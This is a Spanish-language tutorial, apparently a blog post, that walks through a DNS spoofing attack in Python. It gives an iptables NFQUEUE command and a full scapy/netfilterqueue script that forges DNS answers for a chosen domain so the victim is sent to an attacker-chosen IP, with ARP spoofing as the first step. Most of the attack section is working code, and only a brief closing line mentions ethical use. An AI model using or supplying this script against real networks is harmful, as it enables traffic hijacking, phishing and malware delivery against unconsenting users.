El DNS spoofing es una técnica de ataque en la que se manipulan los paquetes DNS para redirigir el tráfico de un usuario a un destino falso, generalmente con el propósito de phishing o distribución de malware. Este ataque se realiza interceptando y modificando los paquetes antes de que lleguen a su destino legítimo. En esta guía, veremos cómo implementar un ataque de DNS spoofing en Python utilizando las librerías scapy y netfilterqueue.

1. Realizar un ataque de ARP Spoofing

Primero, necesitamos realizar un ataque de ARP spoofing para interceptar los paquetes de la víctima. Esto implica engañar al router y a la víctima para que crean que tu dispositivo es el otro.

2. Configurar iptables para redirigir el tráfico a una cola de Netfilter

Usamos iptables para redirigir los paquetes a una cola donde puedan ser procesados por netfilterqueue:

$ sudo iptables -I FORWARD -j NFQUEUE --queue-num 0

3. Instalar la librería netfilterqueue

Si no la tienes instalada, puedes instalarla usando pip:

$ pip install netfilterqueue

4. Escribir el script de DNS Spoofing en Python

Aquí utilizaremos scapy para modificar los paquetes DNS y netfilterqueue para interceptarlos.

import netfilterqueue
import scapy.all as scapy

def process_packet(packet):
    scapy_packet = scapy.IP(packet.get_payload())
    
    if scapy_packet.haslayer(scapy.DNSRR):
        qname = scapy_packet[scapy.DNSQR].qname
        
        # Verificar si la consulta DNS es para el dominio que queremos spoofear
        if b"example.com" in qname:
            print("[+] Spoofing target")
            answer = scapy.DNSRR(rrname=qname, rdata="10.0.2.16")
            scapy_packet[scapy.DNS].an = answer
            scapy_packet[scapy.DNS].ancount = 1
            
            # Eliminar campos innecesarios
            del scapy_packet[scapy.IP].len
            del scapy_packet[scapy.IP].chksum
            del scapy_packet[scapy.UDP].len
            del scapy_packet[scapy.UDP].chksum
            
            packet.set_payload(bytes(scapy_packet))
    
    packet.accept()

queue = netfilterqueue.NetfilterQueue()
queue.bind(0, process_packet)
try:
    queue.run()
except KeyboardInterrupt:
    print("[!] Detected CTRL+C ... Flushing iptables.")
    subprocess.call("iptables --flush", shell=True)

Convertimos el paquete en un objeto scapy.

Verificamos si el paquete contiene una respuesta DNS (DNSRR).

Si la consulta DNS es para “example.com”, creamos una respuesta DNS falsa (DNSRR) y modificamos el paquete original.

Eliminamos los campos de longitud y checksum para que scapy los recalculen automáticamente.

Actualizamos el paquete con la carga útil modificada y lo aceptamos.

Creamos una instancia de NetfilterQueue y la vinculamos a la función process_packet.

Ejecutamos la cola y capturamos la interrupción del teclado (CTRL+C) para limpiar las reglas de iptables.

El DNS spoofing es una técnica poderosa que puede ser utilizada para redirigir el tráfico de red hacia destinos falsos. Utilizando Python y las librerías scapy y netfilterqueue, podemos interceptar y modificar los paquetes DNS para lograr este objetivo. Es fundamental recordar que estas técnicas deben ser utilizadas de manera ética y únicamente en entornos controlados y con el permiso adecuado.